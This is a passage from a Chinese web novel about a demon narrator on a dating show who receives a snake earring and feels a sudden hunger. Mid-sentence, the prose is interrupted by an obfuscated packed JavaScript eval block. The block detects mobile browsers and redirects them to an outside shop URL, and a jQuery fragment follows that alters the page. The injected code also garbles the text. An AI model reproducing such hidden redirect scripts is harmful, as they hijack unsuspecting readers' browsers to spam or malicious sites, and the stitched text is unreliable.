“而且你不戴耳饰,耳洞只能凑近看,才能发现。”徐明歌也来了兴趣,放下手里的东西坐到我旁边,笑得很腼腆。 他笑得越平和腼腆,我越觉得危险,默默往后缩了缩:“这个很重要吗?也许买礼物这个人只是觉得很漂亮呢?” 程况野鬼叫了一声,又嘿嘿笑道:“这样才有意思嘛,我一想到徐明歌说的可能性,突然有参加恋爱节目的感觉了!有人说不准动心了。” 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14210129|149583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合上首饰盒,麻木一张脸看这两人,一个兴奋浮想联翩,一个面上挂着温和的笑容。 “你们俩的呢?”我瞟向他们手中,程况野这会儿压根不好奇了,直接把礼物盒丢了:“你的比较好玩。” “……” 和他们无话可说。 我拿上首饰盒,站起身抓了抓头发:“我回房间了。” “小乔,再坐会儿嘛!”程况野拽着我的衣角,用力扯了扯。 我抓住肩头的衣服:“撒手,要滑开了。” 他上辈子是阿拉斯加吗? “再坐会儿聊聊天啊。”他松了松手上的力道,我低头看着他睁大眼期待的模样,寡淡的脸上勉强扯出一抹阴阳怪气的笑:“和你自己聊去吧。” 我拽回自己的衣服,趿拉着拖鞋往房间走,彻底无视程况野在我身后的悲痛哀嚎。 回房间后,我把首饰盒丢在床上,随手脱了衣服进浴室洗漱,吹完头发出来时,手机很巧合收到新讯息,节目组发来的短信。 今晚很难得的只有一条正儿八经的短信,不像前几天,发短信特像恶作剧和闲聊,天南海北都扯一点。 这条短信只写了明天约会的见面时间和见面地点。 不过我猜时间都是节目组分配的,不然一群人撞在一块很微妙。 何臣生怕我们聚到一块就开始自动降智玩弱智小游戏,都不太想让我们集体行动了。 当真是过分的人类。 我倒在床上,丢开手机,从首饰盒里拎出那只耳坠,对光细看。 衔住那枚血色宝石银蛇在空中摇晃,日光灯的照耀下,折射出不同的光。盯着时间久了,那些闪烁的银光在颤动荡漾间化作张开的蛇口,吐出蛇信,做足引诱的姿态。 我知道有人类把蛇视作恶魔,地狱也不缺蛇蟒外观的恶魔,但对久盯这只耳坠,我身为一个恶魔,竟然也有种被引诱的错觉。 耳坠在半空一晃荡开道若有似无的水纹,被我拦截在掌心。我坐起身,难得对什么东西产生了浓厚的兴趣,拿着它走进了浴室。 在浴室内的镜子前,我探身,在镜中寻找那只耳洞的痕迹。 人类长久不戴耳饰的耳洞会慢慢愈合,恶魔更不用说。但魅魔的耳洞都是用特殊的方式留下。 我左耳上的耳洞还是我妈给我打的烙痕。 另一只手摸了半天,我才找到隐匿的耳洞,当着镜子里那张苍白无情绪的脸,将耳坠穿过耳朵,让那条银蛇勾住了我的耳垂。 没什么重量,也就没有生拉硬拽着耳垂。 我轻轻拨弄耳坠,镜子里那条银蛇同样晃动回应我的动作,目不转睛。 那双一闪而过的猩红眼瞳骤然出现在我的大脑里。 我双手撑着洗手池的台面,深吸一口气。 头上的角又冒出来,身后尾巴不耐烦地甩了甩。 这次连猩红色的眼睛都出来了。 腹部像是突然烧起了一团空荡荡的火,是久违而又清晰的饥饿感。 好像饿到本体都维持不住了。